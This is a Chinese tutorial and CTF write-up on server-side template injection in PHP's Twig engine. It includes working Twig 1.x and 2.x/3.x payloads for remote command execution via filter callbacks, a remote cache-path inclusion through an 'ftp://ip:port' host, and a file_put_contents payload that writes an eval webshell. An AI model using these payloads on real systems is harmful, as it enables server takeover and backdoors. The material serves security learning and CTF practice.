什麼是SSTI
SSTI:開局一張圖,姿勢全靠y
SSTI,即服務器端模板注入(Server-Side Template Injection)
常見的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代碼注入,命令注入等等。sql注入已經出世很多年了,對於sql注入的概念和原理很多人應該是相當清楚了,SSTI也是注入類的漏洞,其成因其實是可以類比於sql注入的。
sql注入的成因是從用戶獲得一個輸入後,經過後端腳本語言進行數據庫查詢,這時我們就可以構造輸入語句來進行拼接,從而實現我們想要的sql語句
SSTI也是如此,不過SSTI是在服務端接收了輸入後,將其作爲web應用模板內容的一部分,在進行目標編譯渲染的過程中,將惡意語句進行了拼接,因此可能造成敏感信息泄露、代碼執行、getshell等問題
在這我會簡單以常見的Twig模板引擎進行演示,有所遺漏錯誤,歡迎各位師傅們進行補充糾正
模板引擎
模板是一種提供給程序進行解析的一種語法,從初始數據到實際的視覺表達靠的就是這一項工作所實現的,且這種手段是同時存在於前後端的
常見的模板引擎有
1.php 常用的
Smarty
Smarty算是一種很老的PHP模板引擎了,非常的經典,使用的比較廣泛
Twig
Twig是來自於Symfony的模板引擎,它非常易於安裝和使用。它的操作有點像Mustache和liquid。
Blade
Blade 是 Laravel 提供的一個既簡單又強大的模板引擎。
和其他流行的 PHP 模板引擎不一樣,Blade 並不限制你在視圖中使用原生 PHP代碼。所有 Blade 視圖文件都將被編譯成原生的 PHP 代碼並緩存起來,除非它被修改,否則不會重新編譯,這就意味着 Blade基本上不會給你的應用增加任何額外負擔。
2.Java 常用的
JSP
這個引擎我想應該沒人不知道吧,這個應該也是我最初學習的一個模板引擎,非常的經典
FreeMarker
FreeMarker是一款模板引擎:即一種基於模板和要改變的數據,並用來生成輸出文本(HTML網頁、電子郵件、配置文件、源代碼等)的通用工具。它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。
Velocity
Velocity作爲歷史悠久的模板引擎不單單可以替代JSP作爲JavaWeb的服務端網頁模板引擎,而且可以作爲普通文本的模板引擎來增強服務端程序文本處理能力。
3.Python 常用的
Jinja2
flask jinja2 一直是一起說的,使用非常的廣泛,是我學習的第一個模板引擎
django
django 應該使用的是專屬於自己的一個模板引擎,我這裏姑且就叫他 django,我們都知道django 以快速開發著稱,有自己好用的ORM,他的很多東西都是耦合性非常高的,你使用別的就不能發揮出 django 的特性了
tornado
tornado 也有屬於自己的一套模板引擎,tornado 強調的是異步非阻塞高併發
形形色色的模板引擎爲了達到渲染效果,總會對用戶輸入有所處理,這也就給攻擊者提供了道路,儘管模板引擎也會相應提供沙箱機制進行保護,但是也存在沙箱逃逸技術可以進行繞過
攻擊思路
找到模板是什麼模板引擎,是哪個版本的,然後設法利用模板的內置方法,進行rce、getshell
PHP-Twig
Twig 被許多開源項目使用,比如 Symfony、Drupal8、eZPublish、phpBB、Matomo、OroCRM;許多框架也支持 Twig,比如 Slim、Yii、Laravel 和 Codeigniter 等等。
本地復現可以用composer搭建
-
在Twig引擎中,我們可以通過下面方法獲得一些關於當前應用的信息(雖然經常會被ban就是...)
{{_self}} #指向當前應用
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
基礎語法
模板其實就是一個文本文件,它可以生成我們需要的任何基於文本的格式文件(html、xml、csv等)
它也沒有特別的拓展後綴名,.html
、.xml
、.twig
都可
這裏主要講一些我們在利用時會用到的基礎知識
變量
應用程序將變量傳入模板中進行處理,變量可以包含你能訪問的屬性或元素。你可以使用 .
來訪問變量中的屬性(方法或 PHP 對象的屬性,或 PHP 數組單元),Twig還支持訪問PHP數組上的項的特定語法, foo['bar']
:
{{ foo.bar }}
{{ foo['bar'] }}
全局變量
模板中始終提供以下變量:
-
_self
:引用當前模板名稱;(在twig1.x和2.x/3.x作用不一) -
_context
:引用當前上下文; -
_charset
:引用當前字符集。
設置變量
可以爲代碼塊內的變量賦值。賦值使用set
標籤:
{% set foo = 'foo' %}
{% set foo = [1, 2] %}
{% set foo = {'foo': 'bar'} %}
過濾器
變量可以修改爲 過濾器 . 過濾器與變量之間用管道符號隔開 (|
). 可以鏈接多個過濾器。一個過濾器的輸出應用於下一個過濾器。
下面的示例從 name
標題是:
{{ name|striptags|title }}
接受參數的篩選器在參數周圍有括號。此示例通過逗號連接列表中的元素:
{{ list|join }}
{{ list|join(', ') }}
// {{ ['a', 'b', 'c']|join }}
// Output: abc
// {{ ['a', 'b', 'c']|join('|') }}
// Output: a|b|c
若要對代碼部分應用篩選器,請使用apply
標籤:
{% apply upper %}
This text becomes uppercase
{% endapply %}
過濾器有很多,但是我們常用的一般就map
、sort
、filter
、reduce
更多內置過濾器請參考:https://twig.symfony.com/doc/3.x/filters/index.html
控制結構
控制結構是指所有控制程序流的東西-條件句(即 if/elseif/else/ for)
循環,以及程序塊之類的東西。控制結構出現在 {{% ... %}}
中
例如,要顯示在名爲 users
使用for
標籤:
<h1>Members</h1>
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
if
標記可用於測試表達式:
{% if users|length > 0 %}
<ul>
{% for user in users %}
<li>{{ user.username|e }}</li>
{% endfor %}
</ul>
{% endif %}
更多 tags 請參考:https://twig.symfony.com/doc/3.x/tags/index.html
函數
在 Twig 模板中可以直接調用函數,用於生產內容。如下調用了 range()
函數用來返回一個包含整數等差數列的列表:
{% for i in range(0, 3) %}
{{ i }},
{% endfor %}
// Output: 0, 1, 2, 3,
更多內置函數請參考:https://twig.symfony.com/doc/3.x/functions/index.html
註釋
要在模板中註釋某一行,可以使用註釋語法 {# ...#}
{# note: disabled template because we no longer use this
{% for user in users %}
...
{% endfor %}
#}
引入其他模板
Twig 提供的 include
函數可以使你更方便地在模板中引入模板,並將該模板已渲染後的內容返回到當前模板
{{ include('sidebar.html') }}
模板繼承
Twig最強大的部分是模板繼承。模板繼承允許您構建一個基本的“skeleton”模板,該模板包含站點的所有公共元素並定義子模版可以覆寫的 blocks 塊。
從一個例子開始更容易理解這個概念。
讓我們定義一個基本模板, base.html
,它定義了可用於兩列頁面的HTML框架文檔:
<!DOCTYPE html>
<html>
<head>
{% block head %}
<link rel="stylesheet" href="style.css"/>
<title>{% block title %}{% endblock %} - My Webpage</title>
{% endblock %}
</head>
<body>
<div id="content">{% block content %}{% endblock %}</div>
<div id="footer">
{% block footer %}
© Copyright 2011 by <a href="http://domain.invalid/">you</a>.
{% endblock %}
</div>
</body>
</html>
在這個例子中,block標記定義了子模板可以填充的四個塊。所有的 block
標記的作用是告訴模板引擎子模板可能會覆蓋模板的這些部分。
子模板可能如下所示:
{% extends "base.html" %}
{% block title %}Index{% endblock %}
{% block head %}
{{ parent() }}
<style type="text/css">
.important { color: #336699; }
</style>
{% endblock %}
{% block content %}
<h1>Index</h1>
<p class="important">
Welcome to my awesome homepage.
</p>
{% endblock %}
其中的 extends
標籤是關鍵所在,其必須是模板的第一個標籤。extends
標籤告訴模板引擎當前模板擴展自另一個父模板,當模板引擎評估編譯這個模板時,首先會定位到父模板。由於子模版未定義並重寫 footer
塊,就用來自父模板的值替代使用了。
更多 Twig 的語法請參考:https://twig.symfony.com/doc/3.x/
1.x
在twig 1.x版本,存在三個全局變量
-
_self
:引用當前模板實例 -
_context
:引用上下文 -
_charset
:引用當前字符集
其相對應的代碼如下
protected $specialVars = [
'_self' => '$this',
'_context' => '$context',
'_charset' => '$this->env->getCharset()',
];
在twig 1.x中,主要利用的是_self
變量,它會返回當前 \Twig\Template
實例,並提供了指向 Twig_Environment
的 env
屬性,這樣我們就可以繼續調用 Twig_Environment
中的其他方法
payload
{{_self.env.setCache("ftp://ip:port")}}{{_self.env.loadTemplate("backdoor")}}
通過調用setCache方法改變twig加載php的路徑,在allow_url_include開啓的條件下,我們就可以實現遠程文件包含
在getFilter方法中存在call_user_func回調函數,通過傳入參數我們可以藉此調用任意函數
#getFilter
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
但以上漏洞都只存在於1.x,在後續版本中,_self只會返回當前實例名字符串
2.x&3.x
在這裏我用twig3.x+php7.3.4作爲示例
用PHP的API調用twig
index.php
<?php
require_once "./vendor/autoload.php";
$loader = new \Twig\Loader\ArrayLoader([
'index' => 'Hello {{ name }}!',
]);
$twig = new \Twig\Environment($loader);
$template = $twig->createTemplate("Hello {$_GET['name']}!");
echo $template->render();
在twig2.x/3.x中,_self不再像1.x時那麼有他獨特的作用,但是也相應更新了一些特殊方法來供我們利用
map過濾器
map
這個
map
過濾器將箭頭函數應用於序列或映射的元素。arrow函數接收序列或映射的值:{% set people = [ {first: "Bob", last: "Smith"}, {first: "Alice", last: "Dupond"}, ] %} {{ people|map(p => "#{p.first} #{p.last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #}arrow函數還接收密鑰作爲第二個參數:
{% set people = { "Bob": "Smith", "Alice": "Dupond", } %} {{ people|map((last, first) => "#{first} #{last}")|join(', ') }} {# outputs Bob Smith, Alice Dupond #}注意arrow函數可以訪問當前上下文。
可以看出允許用戶傳一個arrow 函數,arrow 函數最後會變成一個closure
舉個例子
當我們傳入
{{["man"]|map((arg)=>"hello #{arg}")}}
在模板中會被編譯爲
twig_array_map([0 => "id"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))
map所對應的函數如下
function twig_array_map($array $arrow)
{
$r = [];
foreach ($array as $k => $v) {
$r[$k] = $arrow($v $k);
}
return $r;
}
我們可以看到,傳入的 $arrow
直接就被當成函數執行,即 $arrow($v, $k)
,而 $v
和 $k
分別是 $array
中的 value 和 key
所以$array
和$arrow
都是我們可控的,那我們就可以找到有兩個參數的、可以實現命令執行的危險函數來進行rce
經過查詢,有如下幾種常見命令執行函數
system ( string $command [, int &$return_var ] ) : string
passthru ( string $command [, int &$return_var ] )
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
shell_exec ( string $cmd ) : string
有兩個參數的函數就上面三種,其對應payload
{{["whoami"]|map("system")}}
{{["whoami"]|map("passthru")}}
{{["whoami"]|map("exec")}} // 無回顯
但是當上面的都被ban了呢,我們還有沒有其他方法rce
當然,例如
file_put_contents ( string $filename , mixed $data [, int $flags = 0 [, resource $context ]] ) : int
當我們找到路徑後就可以利用該函數進行寫shell了
?name={{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|map("file_put_contents")}}
根據map過濾器的利用思路,我們可以再找到其他類似的,帶有$arrow參數的
sort過濾器
sort
這個
sort
篩選器對數組排序:{% for user in users|sort %} ... {% endfor %}註解
在內部,Twig使用PHP asort 函數來維護索引關聯。它通過將可遍歷對象轉換爲數組來支持這些對象。
您可以傳遞一個箭頭函數來對數組進行排序:
{% set fruits = [ { name: 'Apples', quantity: 5 }, { name: 'Oranges', quantity: 2 }, { name: 'Grapes', quantity: 4 }, ] %} {% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %} {{ fruit }} {% endfor %} {# output in this order: Oranges, Grapes, Apples #}注意 spaceship 運算符來簡化比較。
類似於map,sort在模板編譯時也會進入twig_sort_filter
函數
function twig_sort_filter($array, $arrow = null)
{
if ($array instanceof \Traversable) {
$array = iterator_to_array($array);
} elseif (!\is_array($array)) {
throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));
}
if (null !== $arrow) {
uasort($array, $arrow); // 直接被 uasort 調用
} else {
asort($array);
}
return $array;
}
uasort ( array &$array , callable $value_compare_func ) : bool
可以看到,$array
和$arrow
直接被uasort
調用
uasort會將數組中的元素按照鍵值進行排序,當我們自定義一個危險函數時,就可能造成rce
這樣我們就可以構造payload了
{{["id", 0]|sort("system")}}
{{["id", 0]|sort("passthru")}}
{{["id", 0]|sort("exec")}} // 無回顯
filter過濾器
filter
這個
filter
過濾器使用箭頭函數過濾序列或映射的元素。arrow函數接收序列或映射的值:{% set sizes = [34, 36, 38, 40, 42] %} {{ sizes|filter(v => v > 38)|join(', ') }} {# output 40, 42 #}與
for
標記,它允許篩選要迭代的項:{% for v in sizes|filter(v => v > 38) -%} {{ v }} {% endfor %} {# output 40 42 #}它也適用於映射:
{% set sizes = { xs: 34, s: 36, m: 38, l: 40, xl: 42, } %} {% for k, v in sizes|filter(v => v > 38) -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 xl = 42 #}arrow函數還接收密鑰作爲第二個參數:
{% for k, v in sizes|filter((v, k) => v > 38 and k != "xl") -%} {{ k }} = {{ v }} {% endfor %} {# output l = 40 #}注意arrow函數可以訪問當前上下文。
類似於map,filter在模板編譯時也會進入twig_array_filter
函數
function twig_array_filter($array, $arrow)
{
if (\is_array($array)) {
return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函數調用
}
// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator
return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);
}
array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array
可以看到和前面方法類似,我們實驗一下
得到payload
{{["id"]|filter("system")}}
{{["id"]|filter("passthru")}}
{{["id"]|filter("exec")}} // 無回顯
{{{"<?php phpinfo();eval($_POST[whoami]);":"D:\\phpstudy_pro\\WWW\\shell.php"}|filter("file_put_contents")}} // 和map過濾器一樣可以寫 Webshell
reduce 過濾器
reduce
這個
reduce
filter使用arrow函數迭代地將序列或映射縮減爲單個值,從而將其縮減爲單個值。arrow函數接收上一次迭代的返回值和序列或映射的當前值:{% set numbers = [1, 2, 3] %} {{ numbers|reduce((carry, v) => carry + v) }} {# output 6 #}這個
reduce
過濾器需要initial
值作爲第二個參數:{{ numbers|reduce((carry, v) => carry + v, 10) }} {# output 16 #}注意arrow函數可以訪問當前上下文。
直接來看函數
function twig_array_reduce($array, $arrow, $initial = null)
{
if (!\is_array($array)) {
$array = iterator_to_array($array);
}
return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函數調用
}
array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed
可以看到array_reduce
是有三個參數的
$array
和 $arrow
直接被 array_filter
函數調用,我們可以利用該性質自定義一個危險函數從而達到rce
剛開始還是像前面一樣構造
{{["id", 0]|reduce("passthru")}}
但是發現沒有執行成功,原因是第一次調用的是
passthru($initial, "id")
因爲$initial
爲null,所以會報錯,我們想要對他進行賦值纔行
payload
{{[0, 0]|reduce("system", "id")}}
{{[0, 0]|reduce("passthru", "id")}}
{{[0, 0]|reduce("exec", "id")}} // 無回顯
題目
-
[BJDCTF2020]Cookie is so stable
進入發現一個flag
按鈕和一個hint
按鈕點擊hint發現源碼有hint
返回訪問flag.php
經過簡單測試猜測爲twig(傳入{{7*'7'}}後Jinja2輸出7777777
,Twig輸出49
)
同時發現在cookie是我們的輸入點,開始查看是什麼版本的twig,用_self
來測試
cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
twig1.x,我們直接cat /flag試試
cookie
user:{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
基本思路還是測試出爲哪個模板,哪個版本,測試payload即可
後言
SSTI 並不廣泛存在,但如果開發人員濫用模板引擎,那麼就很有可能出現SSTI,並且根據其模板引擎的複雜性和開發語言的特性,很大機率會出現非常嚴重的問題
聯想到最近的log4j2漏洞,與SSTI類似,都是將用戶的輸入當作可信任內容,這纔出現了大大小小的安全問題
一句話總結:永遠不要相信用戶的輸入